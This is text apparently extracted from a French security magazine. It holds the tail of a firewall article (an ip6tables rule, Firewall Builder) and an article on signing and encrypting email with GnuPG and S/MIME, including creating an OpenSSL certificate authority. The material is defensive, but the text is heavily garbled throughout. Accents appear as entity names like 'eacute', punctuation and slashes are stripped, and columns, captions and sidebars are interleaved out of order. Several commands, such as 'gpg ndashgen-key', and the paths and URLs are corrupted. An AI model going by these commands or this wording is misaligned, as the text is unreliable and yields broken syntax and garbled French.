Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

